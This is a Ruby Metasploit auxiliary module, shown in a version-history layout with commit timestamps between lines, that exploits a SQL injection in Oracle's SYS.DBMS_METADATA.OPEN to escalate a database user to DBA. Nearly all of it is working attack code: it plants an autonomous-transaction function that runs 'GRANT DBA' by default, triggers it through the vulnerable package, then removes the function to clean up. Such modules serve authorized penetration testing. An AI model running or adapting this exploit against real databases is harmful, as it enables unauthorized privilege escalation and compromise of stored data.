2009-07-28 13:43:37 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-07-28 13:43:37 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::ORACLE
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_METADATA.OPEN',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will escalate a Oracle DB user to DBA by exploiting an sql injection
|
|
|
|
bug in the SYS.DBMS_METADATA.OPEN package/function.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'http://www.metasploit.com' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 5 2008'))
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA to #{datastore['DBUSER']}"]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
return if not check_dependencies
|
2010-03-24 19:02:38 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
name = Rex::Text.rand_text_alpha(rand(10) + 1)
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
function = "
|
|
|
|
create or replace function #{datastore['DBUSER']}.#{name} return varchar2
|
|
|
|
authid current_user is pragma autonomous_transaction;
|
|
|
|
begin
|
|
|
|
execute immediate '#{datastore['SQL']}';
|
|
|
|
return '';
|
|
|
|
end;
|
|
|
|
"
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
package = "select sys.dbms_metadata.open('''||#{datastore['DBUSER']}.#{name}()||''') from dual"
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
clean = "drop function #{name}"
|
2009-07-28 13:43:37 +00:00
|
|
|
|
2009-12-03 23:57:02 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending function...")
|
|
|
|
prepare_exec(function)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
print_status("Attempting sql injection on SYS.DBMS_METADATA.OPEN...")
|
|
|
|
prepare_exec(package)
|
|
|
|
rescue ::OCIError => e
|
|
|
|
if ( e.to_s =~ /ORA-24374: define not done before fetch or execute and fetch/ )
|
|
|
|
print_status("Removing function '#{name}'...")
|
|
|
|
prepare_exec(clean)
|
|
|
|
else
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2009-07-28 13:43:37 +00:00
|
|
|
end
|